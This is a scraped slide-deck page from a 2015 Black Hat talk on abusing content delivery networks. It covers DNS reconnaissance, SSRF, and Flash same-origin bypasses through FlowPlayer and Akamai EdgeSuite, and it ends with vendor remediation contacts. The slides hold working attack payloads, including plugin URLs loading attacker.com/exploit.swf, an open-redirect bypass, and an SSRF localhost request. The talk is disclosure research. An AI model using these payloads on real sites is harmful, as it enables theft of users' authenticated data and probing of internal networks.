Uploaded bya4202655
PDF, PPTX1,144 views

Black hat usa_2015-bypass_surgery-6_aug2015

This document summarizes vulnerabilities related to content delivery networks (CDNs) and server-side request forgery (SSRF). It discusses how CDNs are used to deliver content for many popular websites, and the security risks if a vulnerability is found in a CDN provider. It also explains how SSRF allows attackers to perform requests from a web server to internal systems and networks. Tools for DNS reconnaissance and exploiting SSRF are presented. The document further explores how Flash can be used to bypass the same-origin policy by loading content from other domains using vulnerabilities in plugins like FlowPlayer.

Internet◦
Related topics:
Information Security•

Embed presentation

Download as PDF, PPTX
1 / 114
2 / 114
3 / 114
4 / 114
5 / 114
6 / 114
7 / 114
8 / 114
9 / 114
10 / 114
11 / 114
12 / 114
13 / 114
14 / 114
15 / 114
16 / 114
17 / 114
18 / 114
19 / 114
20 / 114
21 / 114
22 / 114
23 / 114
24 / 114
25 / 114
26 / 114
27 / 114
28 / 114
29 / 114
30 / 114
31 / 114
32 / 114
33 / 114
34 / 114
35 / 114
36 / 114
37 / 114
38 / 114
39 / 114
40 / 114
41 / 114
42 / 114
43 / 114
44 / 114
45 / 114
46 / 114
47 / 114
48 / 114
49 / 114
50 / 114
51 / 114
52 / 114
53 / 114
54 / 114
55 / 114
56 / 114
57 / 114
58 / 114
59 / 114
60 / 114
61 / 114
62 / 114
63 / 114
64 / 114
65 / 114
66 / 114
67 / 114
68 / 114
69 / 114
70 / 114
71 / 114
72 / 114
73 / 114
74 / 114
75 / 114
76 / 114
77 / 114
78 / 114
79 / 114
80 / 114
81 / 114
82 / 114
83 / 114
84 / 114
85 / 114
86 / 114
87 / 114
88 / 114
89 / 114
90 / 114
91 / 114
92 / 114
93 / 114
94 / 114
95 / 114
96 / 114
97 / 114
98 / 114
99 / 114
100 / 114
101 / 114
102 / 114
103 / 114
104 / 114
105 / 114
106 / 114
107 / 114
108 / 114
109 / 114
110 / 114
111 / 114
112 / 114
113 / 114
114 / 114
Bypass Surgery Abusing Content Delivery Networks With Server Side Request Forgery (SSRF), Flash, and DNS BY MIKE BROOKS AND MATTHEW BRYANT August 6, 2015
22 Security Consultant for Bishop Fox Maintainer of The Hacker Blog: https://thehackerblog.com @IAmMandatory Signal Fingerprint 05 d4 6b db 51 31 9b 43 b6 6b c6 96 91 fb 3c 1e 60 3c 93 6b 4e 1f 55 8e 54 9a 93 e0 a4 c3 ad 99 34 HAS BEEN KNOWN TO HACK THINGS Matthew Bryant (mandatory)
33 STACKOVERFLOW.COM & SECURITY.STACKEXCHANGE.COM rook
44 • Almost all modern web applications depend on third-party services to operate. • These third parties are implicitly trusted and work invisibly in the background. WORKING BUT TANGLED Interconnected Services
55 • The web consists of many content delivery networks (CDNs) that deliver content via large distributed networks. • When you visit your favorite sites, you unknowingly trust these services. ONE PAGE SPAWNING MANY REQUESTS Content Delivery Networks
66 ONE PAGE SPAWNING MANY REQUESTS How People Think the Web Works… foxnews.com homepage?
77 ONE PAGE SPAWNING MANY REQUESTS How People Think the Web Works… Here you go!
88 ONE PAGE SPAWNING MANY REQUESTS How It Actually Works…
99 • Many sites on the Internet trust a short list of CDNs to serve their content. • What happens when a vulnerability is found in a CDN provider? • The impact is severe and far reaching. WHAT COULD GO WRONG Many Sites Trusting a Few CDNs
1010 ATTACK CHAINS What happened? SSRF Remote SWF Include
DNS RECONNAISSANCE DNS HOLDS THE KEYS
1212 Internal External INFRASTRUCTURE A Divided Penetration Testing Scope
1313 TOOLS DNS meta-query spider • https://github.com/TheRook/subbrute Search though a mass-reverse lookup DB • https://dnsdumpster.com/ Brute-force forward-lookups • https://github.com/darkoperator/dnsrecon Profiling With DNS
1414 SubBrute 2.0 Source: https://github.com/TheRook/subbrute • Through (~3 hours) – Authoritative NS used by default ./subbrute.py google.com –p –s names_large • Very Fast (~8 minutes) – Using Open Resolvers ./subbrute.py google.com –p –r resolvers.txt
1515 QUERIES ABOUT QUERIES DNS Meta Queries AXFR - Transfers entire zone file from the master name server to “secondary name servers” ANY - Returns all records of all types known to the name server. If the name server does not have any information on the name, the request will be forwarded on.
1616 DNS META QUERY dig any google.com @8.8.8.8
1717 DNS META QUERY SPIDER ./subbrute.py google.com –p –o goog.csv
1818 Types of Records Found on Google.com Total Records: 3056 Total Subdomains: 358 A, 2379 CNAME, 231 AAAA, 255 MX, 146 NS, 12 SRV, 22 SOA, 3 NOERROR, 7 TYPE257, 1 A CNAME AAAA MX NS SRV SOA NOERROR TYPE257 0 500 1000 1500 2000 2500
1919 DNS RECORD TYPE 257 RFC-6844: DNS Certificate Pinning Source: https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization
2020 DNS Record Type 257 http://arstechnica.com/security/2015/04/google-chrome-will-banish-chinese- certificate-authority-for-breach-of-trust/
2121 RFC-6698: DNSSEC PKI Source: https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities
2222 VOIP, CALENDAR, AND LDAP SERVICES SRV Record Enumeration • _caldav._tcp.google.com,SRV,5 0 80 calendar.google.com. • _jabber-client._tcp.google.com,SRV,20 0 5222 alt1.xmpp.l.google.com. • _ldap._tcp.google.com,SRV,5 0 389 ldap.google.com. • _xmpp-client._tcp.google.com,SRV,5 0 5222 xmpp.l.google.com._xmpp- • server._tcp.google.com,SRV,5 0 5269 xmpp- server.l.google.com.
2323 SOP BYPASS AT SCALE Akamai EdgeSuite - DNS static.fbcdn.com static.facebook.com.edgesuite.net. a1860.g.akamai.net. 64.145.75.11
2424 VOIP, CALENDAR, AND LDAP SERVICES subbrute - Internal Network Assessment subbrute.exe MicrosoftDomain.com –r internal_resolvers.txt –s names_large.txt ... 19 domain controllers found… _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 rangers.LegitBank.com. _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 sharks.DOMAIN.com. _ldap._tcp.dc._msdcs.MicrosoftDomain.com,SRV,0 100 389 canucks.DOMAIN.com.
2525 A Common DNS Misconfiguration Source: https://cwe.mitre.org/data/definitions/203.html
2626 NOERROR RESPONSES ./subbrute.py LegitBank.com –p –o comp _domainkey.LegitBank.com,NOERROR, sci.LegitBank.com,NOERROR, vcs.LegitBank.com,NOERROR, dev.LegitBank.com,NOERROR, internal.LegitBank.com,NOERROR
2727 INTERNAL ADDRESSES NOERROR? cat comp | grep NOERROR > comp.ne ./subbrute.py –t comp.ne –p –o comp.internal ldap.sci.LegitBank.com,CNAME,prod-ldap-proxy- vip.sci.LegitBank.com. prod-ldap-proxy-vip.sci.LegitBank.com, CNAME,prod- ldap-proxy-vip-sv4.sci.LegitBank.com. prod-ldap-proxy-vip-sv4.sci.LegitBank.com, A,10.30.40.40
2828 CONTINUED NOERROR? ./subbrute.py –t comp.ne –p –o comp.internal … accounting.internal.LegitBank.com, A,10.30.0.41 monitoring.internal.LegitBank.com, A,10.30.0.42
SERVER-SIDE REQUEST FORGERY IT’S A TRUST THING
3030 CROSSING THE ORIGIN BOUNDARY Server Trust LegitBank.com
3131 FIRST TWO HITS ARE SSRF Search for “Cross Domain Proxy”
3232 TOOLS Netcat for the 21st century • https://nmap.org/ncat/ HTTP Request and Response Service • http://httpbin.org/ Burp Collaborator • http://blog.portswigger.net/2015/04/introducing- burp-collaborator.html SSRF tools
3333 Access to the Web Server’s localhost http://legitbank.com/proxy.php?csurl=http://localhost:631
3434 Access to the Web Server’s localhost
3535 Access to Internal Network Hardware
3636 CROSSING THE ORIGIN BOUNDARY Server Trust LegitBank.com www.LegitBank.com accounting.internal.LegitBank.com
3737 TOOLS SSRF In A Load Balancer
3838 PATHS TO EXPLOITATION • Can I access a protected resource? • XXE DTD system to make HTTP Requests? • Internal IP Address or Hosts? • “Virtual Private Cloud,” S3, MongoDB HTTP interface? • Can I connect to a host I control? • Can I load arbitrary content such as a SWF on the domain? SSRF Questions
FLASH REMOTE SWF INCLUDE VULNERABILITIES GONE IN A FLASH
4040 Crossdomain.xml Proof of Concept Tool • https://thehackerblog.com/crossdomain/ FlashHTTPRequest • https://github.com/mandatoryprogrammer/FlashHTTPReque st JPEXS • https://www.free-decompiler.com/flash/ SEARCHDIGGITY • http://www.bishopfox.com/resources/tools/google-hacking- diggity/attack-tools/ MEN HAVE BECOME TOOLS OF THEIR TOOLS Tools
JAVASCRIPT VS FLASH REMOTE INCLUSION CROSSING THE ORIGIN BOUNDARY
4242 • An origin is a combination of port, scheme, and domain. • Origins separate sites from accessing each other’s data due to the Same Origin Policy (SOP). • For example, a script executing in the context of the http://example.com origin could not read data from http://thirdparty.com because the origins do not match. CROSSING THE ORIGIN BOUNDARY What’s an origin?
4343 JavaScript • Remote JavaScript includes execute in the context of the including site’s origin. Flash • Remote includes execute in the context of the hosting site’s origin. CROSSING THE ORIGIN BOUNDARY Differences between JavaScript and Flash
4444 CROSSING THE ORIGIN BOUNDARY Remote JavaScript Inclusion Example http://legitbank.com/ <!DOCTYPE html> <html> <head></head> <body> <h1>Script Origin:<p id="origin"></p></h1> <script src="http://thirdparty.com/example.js"></script> </body> </html>
4545 CROSSING THE ORIGIN BOUNDARY Remote JavaScript Inclusion Example http://thirdparty.com/example.js document.getElementById(‘origin’).innerText = location.origin
4646 CROSSING THE ORIGIN BOUNDARY Remote JavaScript Inclusion
4747 CROSSING THE ORIGIN BOUNDARY Remote Flash Inclusion Example http://legitbank.com/ <!DOCTYPE html> <html> <head></head> <body> <object type=“application/x-shockwave-flash” data=“http://thirdparty.com/example.swf”> </body> </html>
4848 CROSSING THE ORIGIN BOUNDARY Remote Flash Inclusion Example http://thirdparty.com/secrets.txt Secrets on thirdparty.com!
4949 • Before Flash preforms a cross-origin request, the target site’s crossdomain.xml file is checked. • This file permits third-party sites to perform authenticated requests via allow-access-from domain tags. • Wildcard usage is allowed and is commonplace. CROSSING THE ORIGIN BOUNDARY Flash Cross-Domain Policies
5050 CROSSING THE ORIGIN BOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy>
5151 75% 25% USES DOESN'T USE *NOT INCLUDING SITES WITH JUST A WILDCARD ENTRY Usage of domain wildcards (*.domain.com)? *Taken from a survey of Alexa top 10,000 sites
5252 • Enumerate all subdomains of a domain name: • ./subbrute.py thirdparty.com • ./subbrute.py legitbank.com • An arbitrary SWF upload or vulnerable SWF on any domain will compromise the security of legitbank.com. CROSSING THE ORIGIN BOUNDARY Enumerating Subdomains With Subbrute
FLOWPLAYER DON’T HATE THE PLAYER
5454 • FlowPlayer is a Flash application that plays videos and allows the loading of arbitrary Flash plugins. DON’T HATE THE PLAYER FlowPlayer
5555 • Problematically, FlowPlayer versions below 3.2.16 allowed the loading of plugins from arbitrary domains. • This means an attacker can hijack the functionality of FlowPlayer by loading arbitrary plugins into the player. DON’T HATE THE PLAYER FlowPlayer
5656 DON’T HATE THE PLAYER FlowPlayer http://legitbank.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: 'http://thirdparty.com/plugin.swf', } } });
5757 • With the release of FlowPlayer 3.2.18 new code was introduced to prevent loading of arbitrary plugins. • This code parses the plugin URL to check if it’s trusted before loading it. • However, we found three bypasses by auditing the plugin checking code. DON’T HATE THE PLAYER Multiple FlowPlayer Bypasses
5858
5959 DON’T HATE THE PLAYER FlowPlayer Bypass #1 – The Check public static function isLocal(url:String):Boolean { trace("localDomain? " + url); if (url.indexOf("http://localhost") == 0) return true; if (url.indexOf("http://localhost:") == 0) return true; if (url.indexOf("file://") == 0) return true; if (url.indexOf("http://127.0.0.1") == 0) return true; if (url.indexOf("http://") == 0) return false; if (url.indexOf("/") == 0) return true; return false; }
6060 DON’T HATE THE PLAYER FlowPlayer Bypass #1 – The Check public static function isLocal(url:String):Boolean { trace("localDomain? " + url); if (url.indexOf("http://localhost") == 0) return true; if (url.indexOf("http://localhost:") == 0) return true; if (url.indexOf("file://") == 0) return true; if (url.indexOf("http://127.0.0.1") == 0) return true; if (url.indexOf("http://") == 0) return false; if (url.indexOf("/") == 0) return true; return false; }
6161 DON’T HATE THE PLAYER FlowPlayer Bypass #1 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’//attacker.com/exploit.swf', } } });
6262 DON’T HATE THE PLAYER FlowPlayer Bypass #2 – The Check public static function getDomain(url:String):String { var schemeEnd:int = getSchemeEnd(url); var domain:String = url.substr(schemeEnd); var endPos:int = getDomainEnd(domain); return domain.substr(0, endPos).toLowerCase(); } internal static function getSchemeEnd(url:String):int { var pos:int = url.indexOf("///"); if (pos >= 0) return pos + 3; pos = url.indexOf("//"); if (pos >= 0) return pos + 2; return 0; }
6363 DON’T HATE THE PLAYER FlowPlayer Bypass #2 – The Check public static function getDomain(url:String):String { var schemeEnd:int = getSchemeEnd(url); var domain:String = url.substr(schemeEnd); var endPos:int = getDomainEnd(domain); return domain.substr(0, endPos).toLowerCase(); } internal static function getSchemeEnd(url:String):int { var pos:int = url.indexOf("///"); if (pos >= 0) return pos + 3; pos = url.indexOf("//"); if (pos >= 0) return pos + 2; return 0; }
6464 DON’T HATE THE PLAYER FlowPlayer Bypass #2 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’http://attacker.com///legitbank.com/../flowplayer/plugin. swf', } } });
6565 DON’T HATE THE PLAYER FlowPlayer Bypass #3 – The Bypass http://attacker.com/ flowplayer("player", vulnerable_player,{ plugins: { controls: null, SimpleHelloWorld: { url: ’http://legitbank.com/openredirect.php?url=http://attacker.com/flowplayer/plu gin.swf', } } });
6666 There are probably many more, but three is a cool number. DON’T HATE THE PLAYER More bypasses…
6767 (Artist interpretation)
6868 CROSSING THE ORIGIN BOUNDARY Flowplayer attacker.com legitbank.com
6969 CROSSING THE ORIGIN BOUNDARY Flowplayer Users logs in to legitbank.com attacker.com legitbank.com
7070 CROSSING THE ORIGIN BOUNDARY Flowplayer attacker.com legitbank.com
7171 CROSSING THE ORIGIN BOUNDARY Flowplayer attacker.com legitbank.com
7272 CROSSING THE ORIGIN BOUNDARY Flowplayer attacker.com legitbank.com
7373 CROSSING THE ORIGIN BOUNDARY Flowplayer ATTACKER HIJACKS SWF WITH PLUGIN attacker.com legitbank.com
7474 CROSSING THE ORIGIN BOUNDARY Flowplayer attacker.com legitbank.com
HACKING WEBSITES WITH AKAMAI EDGESUITE SOP BYPASS AT SCALE
WHAT IS EDGESUITE? SOP BYPASS AT SCALE
7777 • EdgeSuite.net is used in Akamai’s Content Delivery Network (CDN). • Part of the FreeFlow service, Akamai’s legacy content delivery network. • The setup process for FreeFlow involves pointing DNS records to Akamai’s network. • Instead of hitting your site directly the Akamai service acts as a caching and distribution service. SOP BYPASS AT SCALE Akamai EdgeSuite
7878 SOP BYPASS AT SCALE Akamai EdgeSuite - DNS akamai.example.com x.example.com.edgesuite.net. a1337.g.akamai.net. 184.25.56.98
7979 SOP BYPASS AT SCALE Akamai EdgeSuite akamai.example.com example.com
8080 SOP BYPASS AT SCALE Akamai EdgeSuite akamai.example.com example.com
8181 SOP BYPASS AT SCALE Akamai EdgeSuite akamai.example.com example.com
8282 SOP BYPASS AT SCALE Akamai EdgeSuite akamai.example.com example.com
AKAMAI RESOURCE LOCATORS (ARL) SOP BYPASS AT SCALE
8484 • Akamai Resource Locator • Special URL use to host files on the Akamai network. • A deprecated service that Akamai used to do when setting up clients for their CDN solution. • Despite being deprecated, many endpoints still have it enabled. SOP BYPASS AT SCALE ARLv1
8585 Say you want to host this file on Akamai: http://example.edgesuite.net/flow/swf/example. swf SOP BYPASS AT SCALE ARLv1
8686 http://akamai.example.com/f/248/322142/1d/example.edge suite.net/flow/swf/example.swf SOP BYPASS AT SCALE ARLv1 CACHE OPTIONS (TIME TO CACHE, CLIENT ID, ETC.) THE URL TO THE FILE WEBSITE POINTING TO AKAMAI
8787 • This process is known as Akamaization of a URL. • Akamai’s network works by pulling the file off your server and hosting it on the CDN. SOP BYPASS AT SCALE ARLv1
8888 • If you point akamai.example.com to Akamai’s EdgeSuite service, we can host arbitrary files on your server. • However, you can only use the site to retrieve files from a specific list of sites. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
8989 SOP BYPASS AT SCALE ARLv1
9090 • We took to enumerating what sites could be proxied. ./subbrute.py edgesuite.net • After some searching we found a site on the whitelist. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
9191 SOP BYPASS AT SCALE ARLv1 & EdgeSuite
9292 http://mediapm.edgesuite.net/flow/swf/flowplayer-v3.2.16.swf
9393 • Not only do they host FlowPlayer, they host FlowPlayer 3.2.16, which allows the loading of any arbitrary Flash plugins. • So, putting it together - we can now host an intentionally vulnerable version of FlowPlayer on any site mapped to EdgeSuite, and then hijack it. SOP BYPASS AT SCALE ARLv1 & EdgeSuite
9494 http://i.legitbank.com/f/1/1/1/mediapm.edgesuite.net/flow/swf/flowplayer- v3.2.16.swf
9595 (Artist interpretation)
9696 THE FALLOUT Full Exploit Flow User logs in to legitbank.com legitbank.com
9797 THE FALLOUT Full Exploit Flow attacker.com legitbank.com
9898 THE FALLOUT Full Exploit Flow akamai.legitbank.com mediapm.edgesuite.net attacker.com legitbank.com
9999 mediapm.edgesuite.net THE FALLOUT Full Exploit Flow ATTACKER LOADS MALICIOUS PLUGIN INTO FLOWPLAYER attacker.com legitbank.com akamai.legitbank.com
100100 THE FALLOUT Full Exploit Flow HIJACKED FLOWPLAYER REQUESTS PAGE FROM LEGITBANK.COM DUE TO A *.LEGITBANK.COM ENTRY IN CROSSDOMAIN.XML THIS IS ALLOWED. mediapm.edgesuite.net akamai.legitbank.com attacker.com legitbank.com
REVISITING FLASH CROSS-DOMAIN POLICIES SOP BYPASS AT SCALE
102102 CROSSING THE ORIGIN BOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy>
103103 CROSSING THE ORIGIN BOUNDARY Example Crossdomain.xml File http://legitbank.com/crossdomain.xml <cross-domain-policy> <allow-access-from domain=“*.legitbank.com”> <allow-access-from domain=“*.thirdparty.com”> </cross-domain-policy> IF ANY SUBDOMAIN IS MAPPED TO EDGESUITE THE SITE IS COMPROMISED IF ANY SUBDOMAIN IS MAPPED TO EDGESUITE THE SITE IS COMPROMISED
104104 • A site doesn’t even have to use Akamai EdgeSuite to be vulnerable. • They just have to trust them via crossdomain.xml. • Due to Flash’s crossdomain.xml policies being so commonly misconfigured, we can increase our impact to affect many more sites. SOP BYPASS AT SCALE Expanding Attack Surface With Flash
THE FALLOUT WHO USES A CDN ANYWAYS?
VERIZON WIRELESS MY OTHER NUMBER IS YOUR NUMBER
NOSCRIPT A WHITELIST IS MORE A LIST OF POSSIBILITIES
108108 • HTTP Content Security Policy (CSP) will not prevent this type of attack. • Since we are loading their SWF into our own page, the CSP does not apply. • Additionally, we can use vulnerable SWFs hosted on Content Delivery Networks (CDNs) to exploit site’s with CDNs in their CSP whitelists. CROSSING THE ORIGIN BOUNDARY Bypassing HTTP Content Security Policy
109109 • Akamai has been super supportive to us throughout this disclosure process. • In order to address this vulnerability, they have provided us with instructions on remediation if you are vulnerable. HOW DO I FIX THIS? Remediation
110110 • You may already be patched! • If you are an Akamai customer you need to call Akamai’s support line at 1-617-444-4699 or email them at ccare@akamai.com. • Public inquires can be directed to Rob Morton at 1-617-444-3641 or rmorton@akamai.com. HOW DO I FIX THIS? How Do I Remediate?
111111 • If you are a security researcher with a vulnerability in Akamai you can reach them at security@akamai.com. • They have a PGP key available on their website that you can use for more sensitive communications. • Akamai is hiring folks at: https://www.akamai.com/us/en/about/careers/ind ex.jsp. HOW DO I FIX THIS? Future Security Research
@BISHOPFOX FACEBOOK.COM/BISHOPFOXCONSULTING LINKEDIN.COM/COMPANY/BISHOP-FOX GOOGLE.COM/+BISHOPFOX Contact Us
Thank you
We’re Hiring www.bishopfox.com contact@bishopfox.com

More Related Content

PDF
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
byEC-Council
 
PDF
CloudBots - Harvesting Crypto Currency Like a Botnet Farmer
byRob Ragan
 
PPTX
I See You
byAndrew Beard
 
PDF
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
byEC-Council
 
PDF
Four years of breaking HTTPS with BGP hijacking
byAPNIC
 
PPTX
How a Hacker Sees Your Site
byPatrick Laverty
 
PDF
SSRF vs. Business-critical applications. XXE tunneling in SAP
byERPScan
 
PDF
Hunting for the secrets in a cloud forest
bySecuRing
 
Are your cloud servers under attack?– Hacker Halted 2019 – Brian Hileman
byEC-Council
 
CloudBots - Harvesting Crypto Currency Like a Botnet Farmer
byRob Ragan
 
I See You
byAndrew Beard
 
DNS – Strategies for Reducing Data Leakage & Protecting Online Privacy – Hack...
byEC-Council
 
Four years of breaking HTTPS with BGP hijacking
byAPNIC
 
How a Hacker Sees Your Site
byPatrick Laverty
 
SSRF vs. Business-critical applications. XXE tunneling in SAP
byERPScan
 
Hunting for the secrets in a cloud forest
bySecuRing
 

What's hot

PPT
Web Browsers And Other Mistakes
bykuza55
 
PDF
Bea con anatomy-of-web-attack
byPatrick Laverty
 
PPTX
BrightonSEO Sep 2015 - HTTPS | Mark Thomas
byAnna Morrison
 
PPTX
Introduction to HTTP protocol
byAviran Mordo
 
PDF
Hunting for the secrets in a cloud forest
bySecuRing
 
PPT
Web Browsers And Other Mistakes
byguest2821a2
 
PDF
HTTP Request Smuggling via higher HTTP versions
byneexemil
 
PDF
HTTP - The Protocol of Our Lives
byBrent Shaffer
 
PDF
[OPD 2019] Attacking JWT tokens
byOWASP
 
PDF
DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators
byFelipe Prado
 
PDF
REST API Pentester's perspective
bySecuRing
 
PPTX
BSides_Charm2015_Info sec hunters_gathers
byAndrew McNicol
 
PDF
HTTP/2: What's new?
byPiet van Dongen
 
PDF
Mind the gap - Troopers 2016
byCasey Smith
 
PPTX
Http - All you need to know
byGökhan Şengün
 
PDF
Lares from LOW to PWNED
byChris Gates
 
PPT
Hacking A Web Site And Secure Web Server Techniques Used
bySiddharth Bhattacharya
 
PPT
Integrating RSS Into Your Web Site - CIL2008
byMichael Sauers
 
PDF
Have Some Rest Building Web2.0 Apps And Services
byNenad Nikolic
 
Web Browsers And Other Mistakes
bykuza55
 
Bea con anatomy-of-web-attack
byPatrick Laverty
 
BrightonSEO Sep 2015 - HTTPS | Mark Thomas
byAnna Morrison
 
Introduction to HTTP protocol
byAviran Mordo
 
Hunting for the secrets in a cloud forest
bySecuRing
 
Web Browsers And Other Mistakes
byguest2821a2
 
HTTP Request Smuggling via higher HTTP versions
byneexemil
 
HTTP - The Protocol of Our Lives
byBrent Shaffer
 
[OPD 2019] Attacking JWT tokens
byOWASP
 
DEF CON 27 - BEN SADEGHIPOUR - owning the clout through ssrf and pdf generators
byFelipe Prado
 
REST API Pentester's perspective
bySecuRing
 
BSides_Charm2015_Info sec hunters_gathers
byAndrew McNicol
 
HTTP/2: What's new?
byPiet van Dongen
 
Mind the gap - Troopers 2016
byCasey Smith
 
Http - All you need to know
byGökhan Şengün
 
Lares from LOW to PWNED
byChris Gates
 
Hacking A Web Site And Secure Web Server Techniques Used
bySiddharth Bhattacharya
 
Integrating RSS Into Your Web Site - CIL2008
byMichael Sauers
 
Have Some Rest Building Web2.0 Apps And Services
byNenad Nikolic
 

Similar to Black hat usa_2015-bypass_surgery-6_aug2015

PDF
Burp suite
byYashar Shahinzadeh
 
PPT
Design Reviewing The Web
byamiable_indian
 
PPT
Dmk Bo2 K7 Web
byroyans
 
PPT
Dmk bo2 k7_web
byDan Kaminsky
 
PDF
Html5: something wicked this way comes - HackPra
byKrzysztof Kotowicz
 
PPTX
Hacking WebApps for fun and profit : how to approach a target?
byYassine Aboukir
 
PDF
Html5 security
bytsinghua university
 
PDF
New web attacks-nethemba
byOWASP (Open Web Application Security Project)
 
PDF
Html5: something wicked this way comes
byKrzysztof Kotowicz
 
PDF
Side-Channels on the Web: Attacks and Defenses
byTom Van Goethem
 
PDF
Site Security Policy - Yahoo! Security Week
byguest9663eb
 
PDF
Krzysztof Kotowicz - Hacking HTML5
byDefconRussia
 
PDF
Grey H@t - Cross-site Request Forgery
byChristopher Grayson
 
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
bySam Bowne
 
PDF
Do you lose sleep at night?
byNathan Van Gheem
 
PDF
How Tracking Companies Circumvented Ad Blockers Using WebSockets
bySajjad "JJ" Arshad
 
PDF
May The Data Stay with U! Network Data Exfiltration Techniques - Brucon 2017.
byLeszek Mi?
 
PDF
Web Security - Introduction v.1.3
byOles Seheda
 
PDF
Web Security - Introduction
bySQALab
 
PPT
Browser Security
byRoberto Suggi Liverani
 
Burp suite
byYashar Shahinzadeh
 
Design Reviewing The Web
byamiable_indian
 
Dmk Bo2 K7 Web
byroyans
 
Dmk bo2 k7_web
byDan Kaminsky
 
Html5: something wicked this way comes - HackPra
byKrzysztof Kotowicz
 
Hacking WebApps for fun and profit : how to approach a target?
byYassine Aboukir
 
Html5 security
bytsinghua university
 
New web attacks-nethemba
byOWASP (Open Web Application Security Project)
 
Html5: something wicked this way comes
byKrzysztof Kotowicz
 
Side-Channels on the Web: Attacks and Defenses
byTom Van Goethem
 
Site Security Policy - Yahoo! Security Week
byguest9663eb
 
Krzysztof Kotowicz - Hacking HTML5
byDefconRussia
 
Grey H@t - Cross-site Request Forgery
byChristopher Grayson
 
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
bySam Bowne
 
Do you lose sleep at night?
byNathan Van Gheem
 
How Tracking Companies Circumvented Ad Blockers Using WebSockets
bySajjad "JJ" Arshad
 
May The Data Stay with U! Network Data Exfiltration Techniques - Brucon 2017.
byLeszek Mi?
 
Web Security - Introduction v.1.3
byOles Seheda
 
Web Security - Introduction
bySQALab
 
Browser Security
byRoberto Suggi Liverani
 

Recently uploaded

PDF
Beacon Kit paper foundation tech framework pdf
bySteven McGee
 
PDF
Networking 2 Syllabus using cisco packet tracer simulator
byODINARARCH
 
PPTX
Introduction to Multi-dimentional array.pptx
byOmar Fernandez
 
PDF
galakticki fudbal galactic football.pdf...
byStefanFilipovic9
 
PPTX
chatgpt overview presentation for school.pptx
byMojahidUlIslam19
 
PPTX
A QUIZ ABOUT THE HISTORY OF MICROSOFT WORD
byzoenadiajara1
 
PPTX
Analysis Intelligence in Cyber Protection.pptx
byOmar Fernandez
 
PPTX
Cybersecurity cyber incident Weeks_7_to_9.pptx
byriaz59
 
PPTX
Human Aspects of Information Security: The People Factor.pptx
byOmar Fernandez
 
PPTX
Competitive Positioning - All HCI Competitors vs HPE PCBE dHCI _ SimpliVity w...
byyosefemiru123
 
PPTX
How Big Brands are Taking Your Traffic in Alberta [Data Inside].pptx
byVisibility Drip
 
PDF
Front-End vs Back-End Development: Roles, Tools, Skills & Career Guide
byIndian Website Company
 
Beacon Kit paper foundation tech framework pdf
bySteven McGee
 
Networking 2 Syllabus using cisco packet tracer simulator
byODINARARCH
 
Introduction to Multi-dimentional array.pptx
byOmar Fernandez
 
galakticki fudbal galactic football.pdf...
byStefanFilipovic9
 
chatgpt overview presentation for school.pptx
byMojahidUlIslam19
 
A QUIZ ABOUT THE HISTORY OF MICROSOFT WORD
byzoenadiajara1
 
Analysis Intelligence in Cyber Protection.pptx
byOmar Fernandez
 
Cybersecurity cyber incident Weeks_7_to_9.pptx
byriaz59
 
Human Aspects of Information Security: The People Factor.pptx
byOmar Fernandez
 
Competitive Positioning - All HCI Competitors vs HPE PCBE dHCI _ SimpliVity w...
byyosefemiru123
 
How Big Brands are Taking Your Traffic in Alberta [Data Inside].pptx
byVisibility Drip
 
Front-End vs Back-End Development: Roles, Tools, Skills & Career Guide
byIndian Website Company
 

Black hat usa_2015-bypass_surgery-6_aug2015

  • 1.
    Bypass Surgery Abusing ContentDelivery Networks With Server Side Request Forgery (SSRF), Flash, and DNS BY MIKE BROOKS AND MATTHEW BRYANT August 6, 2015
  • 2.
    22 Security Consultant forBishop Fox Maintainer of The Hacker Blog: https://thehackerblog.com @IAmMandatory Signal Fingerprint 05 d4 6b db 51 31 9b 43 b6 6b c6 96 91 fb 3c 1e 60 3c 93 6b 4e 1f 55 8e 54 9a 93 e0 a4 c3 ad 99 34 HAS BEEN KNOWN TO HACK THINGS Matthew Bryant (mandatory)
  • 3.
  • 4.
    44 • Almost allmodern web applications depend on third-party services to operate. • These third parties are implicitly trusted and work invisibly in the background. WORKING BUT TANGLED Interconnected Services
  • 5.
    55 • The webconsists of many content delivery networks (CDNs) that deliver content via large distributed networks. • When you visit your favorite sites, you unknowingly trust these services. ONE PAGE SPAWNING MANY REQUESTS Content Delivery Networks
  • 6.
    66 ONE PAGE SPAWNINGMANY REQUESTS How People Think the Web Works… foxnews.com homepage?
  • 7.
    77 ONE PAGE SPAWNINGMANY REQUESTS How People Think the Web Works… Here you go!
  • 8.
    88 ONE PAGE SPAWNINGMANY REQUESTS How It Actually Works…
  • 9.
    99 • Many siteson the Internet trust a short list of CDNs to serve their content. • What happens when a vulnerability is found in a CDN provider? • The impact is severe and far reaching. WHAT COULD GO WRONG Many Sites Trusting a Few CDNs
  • 10.
  • 11.
  • 12.
  • 13.
    1313 TOOLS DNS meta-query spider •https://github.com/TheRook/subbrute Search though a mass-reverse lookup DB • https://dnsdumpster.com/ Brute-force forward-lookups • https://github.com/darkoperator/dnsrecon Profiling With DNS
  • 14.
